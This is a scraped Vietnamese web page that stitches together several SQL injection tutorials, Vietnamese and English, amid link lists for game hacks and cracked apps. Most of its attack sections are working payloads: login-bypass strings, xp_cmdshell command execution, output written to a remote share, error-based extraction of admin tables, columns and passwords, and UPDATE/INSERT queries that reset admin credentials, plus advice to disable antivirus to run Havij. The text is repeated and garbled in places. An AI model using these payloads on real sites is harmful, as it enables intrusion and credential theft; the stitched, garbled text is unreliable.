    Cần lưu ý rằng, tool tự động có thể tiết kiệm thời gian, nhưng không phải luôn luôn đáng tin cậy. Nếu bạn test hệ thống ngân hàng hoặc một website với dữ liệu nhạy cảm, tốt nhất nên sử dụng test manual. Nơi bạn có thể xem kết quả chính xác và phân tích chúng. Ngoài ra, trong trường hợp này, chúng tôi có thể chắc chắn rằng, không có gì bị bỏ qua.

    So sánh với các cuộc tấn công khác

    SQL Injection có thể coi là một trong các cuộc tấn công nguy hiểm nhất, vì nó ảnh hưởng đến database và có thể phá hủy nghiêm trọng dữ liệu cũng như toàn bộ hệ thống của bạn.

    Để chắc chắn nó hậu quả nghiêm trọng hơn Javascript Injection hay HTML Injection, chúng ta cùng thực hiện tất cả trên client-side. Để so sánh, với cuộc tấn công này, bạn có quyền truy cập vào toàn bộ cơ sở dữ liệu.

    Để test chống lại cuộc tấn công này, bạn phải có kiến thức khá tốt về ngôn ngữ lập trình SQL. Và nói chung, bạn cần biết cách hoạt động của các truy vấn database. Ngoài ra, trong khi thực hiện cuộc tấn công này, bạn cần cẩn thận và quan sát nhiều hơn, vì bất kỳ sự không chính xác nào cũng có thể được để lại dưới dạng lỗ hổng SQL.

    All Rights Reserved

    --- Bài cũ hơn ---

  • Tấn Công Kiểu Sql Injection Và Các Phòng Chống Trong Asp.net
  • Những Lỗi Bảo Mật Website Cơ Bản
  • Sql Injection Là Gì? Cách Phòng Chống Tấn Công Sql Injection
  • Hướng Dẫn Hack Spin Coin Master Miễn Phí Dành Cho Những Người Chơi Không Có Thời Gian Nhưng Vẫn Muốn Quay Nhiều
  • Hướng Dẫn Hack Coin Master Nhận Lượt Spin Không Giới Hạn 2022
  • Sql Injection Là Gì? Cách Phòng Chống Tấn Công Sql Injection

    --- Bài mới hơn ---

  • Những Lỗi Bảo Mật Website Cơ Bản
  • Tấn Công Kiểu Sql Injection Và Các Phòng Chống Trong Asp.net
  • Hướng Dẫn Test Sql Injection (Ví Dụ Và Cách Phòng Ngừa Các Cuộc Tấn Công Sql Injection)
  • Sql Injection Tutorial: Learn With Example
  • Tải Subway Surfers Mod Apk V2.3.0 (Hack Vàng, Chìa Khóa) Cho Android
  • SQL Injection không còn là khái niệm quá mới, nhưng nó vẫn là một trong những kiểu tấn công mạng khá phổ biến. Bài viết này gồm 12 mục, đi từ khái niệm, các bước diễn ra SQL Injection với một ví dụ minh họa (trang web được dùng làm ví dụ chỉ là minh họa, không có thực) đến cách phòng chống tấn công SQL Injection để bạn đọc hiểu về cách thức tấn công này, từ đó có những biện pháp phòng ngừa, bảo vệ website và hệ thống của mình.

    Lưu ý: Không thử tấn công website, hệ thống của cá nhân, tổ chức khác bằng phương pháp này, mọi hành vi như vậy đều là vi phạm pháp luật Việt Nam. Nếu bạn tìm thấy lỗ hổng bảo mật, hãy báo cho người quản trị website, hệ thống đó để họ khắc phục. Bài viết chỉ nhằm mục đích giúp bạn hiểu về kiểu tấn công SQL Injection và có những biện pháp phòng tránh cho ứng dụng web của mình.

    1. SQL Injection là gì?

    SQL Injection là một trong những kiểu hack web bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution (thực thi từ xa), dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, …

    Bài labs SQL Injection

    2. Các bước tiến hành SQL Injection

    2.1. Tìm kiếm mục tiêu

    Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, …

    http://yoursite.com/index.asp?id=10

    Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.

    2.2. Kiểm tra chỗ yếu của trang web

    Thử submit các field username, password hoặc field id, .. bằng hi’ or 1=1–

    Login: hi' or 1=1-- Password: hi' or 1=1-- http://yoursite.com/index.asp?id=hi' or 1=1--

    Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:

    Nếu thành công, thì có thể login vào mà không cần phải biết username và password

    2.3. Tại sao ‘ or 1=1– có thể vượt qua phần kiểm tra đăng nhập?

    Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

    http://yoursite.com/index.asp?category=food

    v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr)

    v_cat sẽ chứa giá trị của biến request(“category”) là ” và câu lệnh SQL tiếp theo sẽ là:

    SELECT * FROM product WHERE PCategory='food'

    Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory=’food’

    Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food’ or 1=1–, biến v_cat sẽ chứa giá trị “food’ or 1=1– ” và dòng lệnh SQL query sẽ là:

    SELECT * FROM product WHERE PCategory='food' or 1=1--'

    Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng ‘food’ hay không. Hai dấu gạch ngang (–) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “–” sẽ bị bỏ qua. Đối với MySQL, hãy thay “–” thành “#”

    Ngoài ra, cũng có thể thử cách khác bằng cách submit ‘ or ‘a’=’a. Dòng SQL query bây giờ sẽ là:

    SELECT * FROM product WHERE PCategory='food' or 'a'='a'

    Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

    ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a

    2.4. Thi hành lệnh từ xa bằng SQL Injection

    '; exec master..xp_cmdshell 'ping 10.10.1.2'--

    Hãy thử dùng dấu nháy đôi (“) nếu dấu nháy đơn (‘) không làm việc.

    Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

    #tcpdump icmp

    Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

    2.5. Nhận output của SQL query

    Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

    '; EXEC master..sp_makewebtask "\10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

    Chú ý: folder “” phải được share cho Everyone trước.

    2.6. Nhận dữ liệu qua ‘database using ODBC error message

    Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer ’10’ với một string khác lấy từ CSDL:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

    Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

    SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

    Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

    Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' Syntax error converting the nvarchar value 'admin_login' to a column of data type int. chúng tôi line 5

    Mẫu so sánh ‘%25login%25’ sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là “admin_login“.

    2.7. Xác định tên của các column trong table

    Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

    Khi đó thông báo lỗi của SQL Server có thể như sau:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' Syntax error converting the nvarchar value 'login_name' to a column of data type int. chúng tôi line 5

    Làm tương tự như trên, có thể lấy được tên của các column còn lại như “password“, “details“. Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

    Khi đó thông báo lỗi của SQL Server có thể như sau:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e14' Syntax error converting the nvarchar value 'neo' to a column of data type int. chúng tôi line 5

    Dễ dàng nhận ra được admin user đầu tiên có login_name là “neo”. Hãy thử lấy password của “neo” như sau:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

    Khi đó thông báo lỗi của SQL Server có thể như sau:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. chúng tôi line 5

    2.10. Thay đổi dữ liệu (Update/Insert) của CSDL

    Khi đã có tên của tất cả các column trong table, có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

    Để thay đổi password của “”, có thể làm như sau:

    http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

    Hoặc nếu bạn muốn một record mới vào table:

    http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

    3. Ngăn chặn SQL Injection

    Các tổ chức có thể tập trung vào những bước sau đây để bảo vệ mình khỏi những cuộc tấn công SQL Injection:

    • Không bao giờ được tin tưởng những input người dùng nhập vào: Dữ liệu luôn phải được xác thực trước khi sử dụng trong các câu lệnh SQL.
    • Các thủ tục được lưu trữ: Những thủ tục này có thể trừu tượng hóa các lệnh SQL và xem xét toàn bộ input như các tham số. Nhờ đó, nó không thể gây ảnh hưởng đến cú pháp lệnh SQL.
    • Các lệnh được chuẩn bị sẵn: Điều này bao gồm việc tạo truy vấn SQL như hành động đầu tiên và sau đó xử lý toàn bộ dữ liệu được gửi như những tham số.
    • Những cụm từ thông dụng: Những cụm từ này được sử dụng để phát hiện mã độc và loại bỏ nó trước khi câu lệnh SQL được thực hiện.
    • Thông báo lỗi đúng: Thông báo lỗi phải tuyệt đối tránh tiết lộ những thông tin/chi tiết nhạy cảm và vị trí xảy ra lỗi trên thông báo lỗi.
    • Giới hạn quyền truy cập của người dùng đối với cơ sở dữ liệu: Chỉ những tài khoản có quyền truy cập theo yêu cầu mới được kết nối với cơ sở dữ liệu. Điều này có thể giúp giảm thiểu những lệnh SQL được thực thi tự động trên server.
    • Hãy loại bỏ các kí tự meta như ‘”/; và các kí tự extend như NULL, CR, LF, … trong các string nhận được từ:
        input do người dùng đệ trình
    • Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
    • Thay đổi “Startup and run SQL Server” dùng mức low privilege user trong tab SQL Server Security.
    • Xóa các stored procedure trong database mà không dùng như:
        xp_cmdshell

    Ngăn chặn SQL Injection trong ASP.NET

    Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong chúng tôi có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

    Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong chúng tôi là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.

    4. Tài liệu thao khảo

    1.How I hacked PacketStorm (Rain Forest Puppy) http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6 2.Great article on gathering information from ODBC error messages http://www.blackhat.com/psentations/win-usa-01/Litchfield/BHWin01Litchfield.doc 3.A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml 4.Senseport's article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm 5.Khác: http://www.digitaloffense.net/warga.../IOWargames.ppt http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6 http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

    Sưu tầm trên Internet từ bài được dịch từ bài viết gốc ” SQL Injection Walkthrough” của xfocus.net

    --- Bài cũ hơn ---

  • Hướng Dẫn Hack Spin Coin Master Miễn Phí Dành Cho Những Người Chơi Không Có Thời Gian Nhưng Vẫn Muốn Quay Nhiều
  • Hướng Dẫn Hack Coin Master Nhận Lượt Spin Không Giới Hạn 2022
  • Bản Chất Của Chiêu Trò “bẩn” Hack Doanh Thu Quán Net Đang Làm Các Chủ Quán Hoảng Sợ Và Cách Phòng Chống Ra Sao?
  • Thủ Thuật Faceboock: Hướng Dẫn Hack Tiền Quán Game ( Net )
  • Chủ Quán Net Khóc Ròng Vì ‘trẻ Trâu’ Dùng Hack Trong Valorant, Quyết Phạt 10 Triệu Đồng Nếu Khách Dám Cài Tool Hack Tại Quán
  • Hướng Dẫn Khai Thác Sql Injection Đối Với My Sql

    --- Bài mới hơn ---

  • Hack Web Bị Lỗi Sql Injection Cơ Bản
  • Hack Subway Surfers V2.16.0 Full Tiền, Chìa Khóa, Shop
  • Tải Subway Surfers Mod Apk (Full Tiền Vàng, Chìa Khóa) V2.15.0
  • Tải Hack Subway Surfers (Mod Nhân Vật, Tiền Xu/keys) Miễn Phí
  • Tải Hack Summoner War (Mod One Hit, Speed, High Damage)
  • SQL Injection

    1. Định Nghĩa:

    SQL Injection là 1 lỗi xảy ra trong quá trình xử lí câu truy vấn SQL (SQL Query) có xuất hiện các kí tự đặc biệt, kí tự không hợp lệ hay không tồn tại trong cơ sở dữ liệu(database). Giúp cho kẻ tấn công dễ dàng khai thác ngay trên nơi chứa dữ liệu đầu vào của ứng dụng, website…

    2. Cách thức gây ra lỗi:

    Lỗi chỉ xảy ra khi ta thêm các kí tự đặc biệt như ‘,”,*,-,… mà kết quả trả về là rỗng (empty, null) hoặc trả về trang báo lỗi thì có nghĩa là trang đó đã dính lỗi sql injection trong lúc thực hiện truy vấn.

    3. Kiểm tra và Khai thác:

    Để kiểm tra lỗi ta thực hiện thêm ‘,”,*,- vào các giá trị đầu vào của website, chẳng hạn như tôi có

    http://www.demo.com/index.php?id=1

    thì id=1 của nó

    id <== dữ liệu đầu vào

    1 <== giá trị của dữ liệu đầu vào

    ta tiến hành thêm các kí tự ‘,”,*,-,… thì nó sẽ thành

    http://www.demo.com/index.php?id=1′

    http://www.demo.com/index.php?id=1″

    http://www.demo.com/index.php?id=1*

    http://www.demo.com/index.php?id=-1

    Nếu kết quả nó trả về là rỗng (empty, null, hoặc trang trắng) hay trả về dòng thông báo lỗi như Error, Falcal thì cho thấy website bị dính lỗi sql injection

    Khai thác cơ bản – Đếm column (số cột) tồn tại trong table hiện tại mà website đang sử dụng:

    Thực hiện bước này để ta đếm được số cột (column) tồn tại trong table hiện tại đang được sử dụng

    ta có 2 truy vấn để thực hiện việc đếm số cột:

    order by number

    group by number

    giả sử tôi có 1 website đang sử dụng table “sonictable” và trong table đó có 3 column(3 cột)

    cột 1 tôi lấy tên là “id”

    cột 2 tôi lấy tên là “content”

    cột 3 tôi lấy tên là “authors”

    Khi tôi muốn thực hiện đếm cột tôi sẽ thực hiện truy vấn như sau:

    http://www.demo.com/index.php?id=1 order by 1– –

    http://www.demo.com/index.php?id=1 order by 3– –

    nhưng khi tôi đếm sang cột thứ 4

    http://www.demo.com/index.php?id=1 order by 4– –

    tức là website không tồn tại cột thứ 4

    Khai thác cơ bản – tìm cột bị lỗi và tiến hành khai thác

    để tìm được cột bị lỗi, tôi dùng query

    union select number

    sau khi tôi đã tìm được số cột, tôi tiến hành tìm cột nào được hiển thị và có lỗi bằng query “union select” và tôi tìm được 3 cột tồn tại trong table, tôi có query để hiện thị các table được sử dụng hiển thị ra màn hình như sau:

    http://www.demo.com/index.php?id=1 union select 1,2,3

    Lưu ý nhỏ: ** Khi union ta phải đưa giá trị về null để có thể hiện cột được sử dụng

    http://www.demo.com/index.php?id=null union select 1,2,3

    giả sử nó hiện số 2 ra tức là column thứ 2 (column “content”) đang được sử dụng để hiển thị nội dung, ta đánh dấu các column bằng số vì nó dễ nhìn (nếu có kiến thức thì có thể dùng cách khác để đánh dấu)

    tới đây, ta tiến hành khai thác column thứ 2, ta khai thác version của sql mà server đang sử dụng

    http://www.demo.com/index.php?id=null union select 1,version(),3

    kết quả trả ra ngay vị trí thứ 2 sẽ là version của sql mà server đang sử dụng

    * Mở rộng: ta có thể dùng hàm concat để hiển thị gộp tất cả các giá trị ta muốn hiển thị như version, database name, username database

    http://www.demo.com/index.php?id=null union select 1,concat(version(),database(),user()),3

    http://www.demo.com/index.php?id=null union select 1,concat(version(),0x7c,database(),0x7c,user()),3

    và hiển thị lại không bị khó nhìn nữa.

    Cách tiếp cận khác:

    ​​​​

    --- Bài cũ hơn ---

  • Tải Xuống Road Riot 1.29.35 Apk Mod Money Cho Android 2022 1.29.35 Cho Android
  • Tải Mega Man X4 Full Crack Việt Hóa + Hướng Dẫn Cài Đặt
  • Megaman X4 Cheat Với Cheat Engine
  • Cách Hack Slot Game Cực Nhanh Cực Dễ Từ Cao Thủ Kubet Link
  • Avatar Bản Gốc Hack Quay Số Cực Chuẩn
  • Sql Injection Tutorial: Learn With Example

    --- Bài mới hơn ---

  • Tải Subway Surfers Mod Apk V2.3.0 (Hack Vàng, Chìa Khóa) Cho Android
  • Download, Tải Game Gta 4 Full Crack
  • Tải Gta 4 Full Crack
  • Hack Rp, Trang Phục, Sò, Trong Liên Minh Huyền Thoại ( Lmht )
  • Hack Game Summoners War: Sky Arena 1.7.5 Cho Android
  • Data is one of the most vital components of information systems. Database powered web applications are used by the organization to get data from customers. SQL is the acronym for Structured Query Language. It is used to retrieve and manipulate data in the database.

    What is a SQL Injection?

    In this tutorial, you will learn SQL Injection techniques and how you can protect web applications from such attacks.

    How SQL Injection Works

    The types of attacks that can be performed using SQL injection vary depending on the type of database engine. The attack works on dynamic SQL statements. A dynamic statement is a statement that is generated at run time using parameters password from a web form or URI query string.

    Let’s consider a simple web application with a login form. The code for the HTML form is shown below.

    HERE,

    • The above form accepts the email address, and password then submits them to a PHP file named index.php.
    • It has an option of storing the login session in a cookie. We have deduced this from the remember_me checkbox. It uses the post method to submit data. This means the values are not displayed in the URL.

    Let’s suppose the statement at the backend for checking user ID is as follows

    SELECT * FROM users WHERE email = $_POST);

    HERE,

    • The above statement uses the values of the $_POST[] array directly without sanitizing them.
    • The password is encrypted using MD5 algorithm.

    We will illustrate SQL injection attack using sqlfiddle. Open the URL http://sqlfiddle.com/ in your web browser. You will get the following window.

    Note: you will have to write the SQL statements

    Step 1) Enter this code in left pane

    CREATE TABLE `users` ( `id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); insert into users (email,password) values ('This email address is being protected from spambots. You need JavaScript enabled to view it.',md5('abc'));

    Step 3) Enter this code in right pane

    select * from users;

    Suppose user supplies This email address is being protected from spambots. You need JavaScript enabled to view it. and 1234 as the password. The statement to be executed against the database would be

    SELECT * FROM users WHERE email = ‘This email address is being protected from spambots. You need JavaScript enabled to view it.’ AND password = md5(‘1234’);

    This email address is being protected from spambots. You need JavaScript enabled to view it.’ OR 1 = 1 LIMIT 1 — ‘ ]

    xxx for the password.

    The generated dynamic statement will be as follows.

    SELECT * FROM users WHERE email = ‘This email address is being protected from spambots. You need JavaScript enabled to view it.’ OR 1 = 1 LIMIT 1 — ‘ ] AND password = md5(‘1234’);

    HERE,

    • This email address is being protected from spambots. You need JavaScript enabled to view it. ends with a single quote which completes the string quote
    • OR 1 = 1 LIMIT 1 is a condition that will always be true and limits the returned results to only one record.

    Copy the above SQL statement and paste it in SQL FiddleRun SQL Text box as shown below

    Hacking Activity: SQL Inject a Web Application

    We have a simple web application at http://www.techpanda.org/ that is vulnerable to SQL Injection attacks for demonstration purposes only. The HTML form code above is taken from the login page. The application provides basic security such as sanitizing the email field. This means our above code cannot be used to bypass the login.

    To get round that, we can instead exploit the password field. The diagram below shows the steps that you must follow

    Let’s suppose an attacker provides the following input

    • Step 1: Enter This email address is being protected from spambots. You need JavaScript enabled to view it. as the email address
    • Step 2: Enter xxx’) OR 1 = 1 — ]

    • You will be directed to the dashboard

    The generated SQL statement will be as follows

    SELECT * FROM users WHERE email = ‘This email address is being protected from spambots. You need JavaScript enabled to view it.’ AND password = md5(‘xxx’) OR 1 = 1 — ]’);

    The diagram below illustrates the statement has been generated.

    HERE,

    • The statement intelligently assumes md5 encryption is used
    • Completes the single quote and closing bracket
    • Appends a condition to the statement that will always be true

    In general, a successful SQL Injection attack attempts a number of different techniques such as the ones demonstrated above to carry out a successful attack.

    Other SQL Injection attack types

    SQL Injections can do more harm than just by passing the login algorithms. Some of the attacks include

    • Deleting data
    • Updating data
    • Inserting data
    • Executing commands on the server that can download and install malicious programs such as Trojans
    • Exporting valuable data such as credit card details, email, and passwords to the attacker’s remote server
    • Getting user login details etc

    The above list is not exhaustive; it just gives you an idea of what SQL Injection

    Automation Tools for SQL Injection

    In the above example, we used manual attack techniques based on our vast knowledge of SQL. There are automated tools that can help you perform the attacks more efficiently and within the shortest possible time. These tools include

    How to Prevent against SQL Injection Attacks

    An organization can adopt the following policy to protect itself against SQL Injection attacks.

    • User input should never be trusted – It must always be sanitized before it is used in dynamic SQL statements.
    • Stored procedures – these can encapsulate the SQL statements and treat all input as parameters.
    • Prepared statements –ppared statements to work by creating the SQL statement first then treating all submitted user data as parameters. This has no effect on the syntax of the SQL statement.
    • Regular expssions –these can be used to detect potential harmful code and remove it before executing the SQL statements.
    • Database connection user access rights –only necessary access rights should be given to accounts used to connect to the database. This can help reduce what the SQL statements can perform on the server.
    • Error messages –these should not reveal sensitive information and where exactly an error occurred. Simple custom error messages such as “Sorry, we are experiencing technical errors. The technical team has been contacted. Please try again later” can be used instead of display the SQL statements that caused the error.

    Hacking Activity: Use Havij for SQL Injection

    In this practical scenario, we are going to use Havij Advanced SQL Injection program to scan a website for vulnerabilities.

    Note: your anti-virus program may flag it due to its nature. You should add it to the exclusions list or pause your anti-virus software.

    The image below shows the main window for Havij

    The above tool can be used to assess the vulnerability of a web site/application.

    Summary

    • SQL Injection is an attack type that exploits bad SQL statements
    • SQL injection can be used to bypass login algorithms, retrieve, insert, and update and delete data.
    • SQL injection tools include SQLMap, SQLPing, and SQLSmack, etc.
    • A good security policy when writing SQL statement can help reduce SQL injection attacks.

    --- Bài cũ hơn ---

  • Hướng Dẫn Test Sql Injection (Ví Dụ Và Cách Phòng Ngừa Các Cuộc Tấn Công Sql Injection)
  • Tấn Công Kiểu Sql Injection Và Các Phòng Chống Trong Asp.net
  • Những Lỗi Bảo Mật Website Cơ Bản
  • Sql Injection Là Gì? Cách Phòng Chống Tấn Công Sql Injection
  • Hướng Dẫn Hack Spin Coin Master Miễn Phí Dành Cho Những Người Chơi Không Có Thời Gian Nhưng Vẫn Muốn Quay Nhiều
  • Tấn Công Kiểu Sql Injection Và Các Phòng Chống Trong Asp.net

    --- Bài mới hơn ---

  • Hướng Dẫn Test Sql Injection (Ví Dụ Và Cách Phòng Ngừa Các Cuộc Tấn Công Sql Injection)
  • Sql Injection Tutorial: Learn With Example
  • Tải Subway Surfers Mod Apk V2.3.0 (Hack Vàng, Chìa Khóa) Cho Android
  • Download, Tải Game Gta 4 Full Crack
  • Tải Gta 4 Full Crack
  • SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password

    1. SQL Injection là gì?

    SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, …

    2. Tìm kiếm mục tiêu

    Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, …

    Ví dụ:

    http://yoursite.com/index.asp?id=10

    Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.

    3. Kiểm tra chỗ yếu của trang web

    Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--

    Login: hi' or 1=1--

    Password: hi' or 1=1--

    http://yoursite.com/index.asp?id=hi' or 1=1--

    Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:

    Nếu thành công, thì có thể login vào mà không cần phải biết username và password

    4. Tại sao ' or 1=1-- có thể vượt qua phần kiểm tra đăng nhập?

    Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

    http://yoursite.com/index.asp?category=food

    Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):

    v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr)

    v_cat sẽ chứa giá trị của biến request("category") là 'food' và câu lệnh SQL tiếp theo sẽ là:

    SELECT * FROM product WHERE PCategory='food'

    Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'

    Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:

    SELECT * FROM product WHERE PCategory='food' or 1=1--'

    Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, hãy thay "--" thành "#"

    Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:

    SELECT * FROM product WHERE PCategory='food' or 'a'='a'

    Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

    ' or 1=1--

    " or 1=1--

    or 1=1--

    ' or 'a'='a

    " or "a"="a

    ') or ('a'='a

    5. Thi hành lệnh từ xa bằng SQL Injection

    Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:

    '; exec master..xp_cmdshell 'ping 10.10.1.2'--

    Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.

    Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

    #tcpdump icmp

    Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

    6. Nhận output của SQL query

    Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

    '; EXEC master..sp_makewebtask "\10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

    Chú ý: folder "share" phải được share cho Everyone trước.

    7. Nhận dữ liệu qua 'database using ODBC error message'

    Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

    Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

    SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

    Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

    Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5

    Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".

    8. Xác định tên của các column trong table

    Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:

    http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

    Khi đó thông báo lỗi của SQL Server có thể như sau:

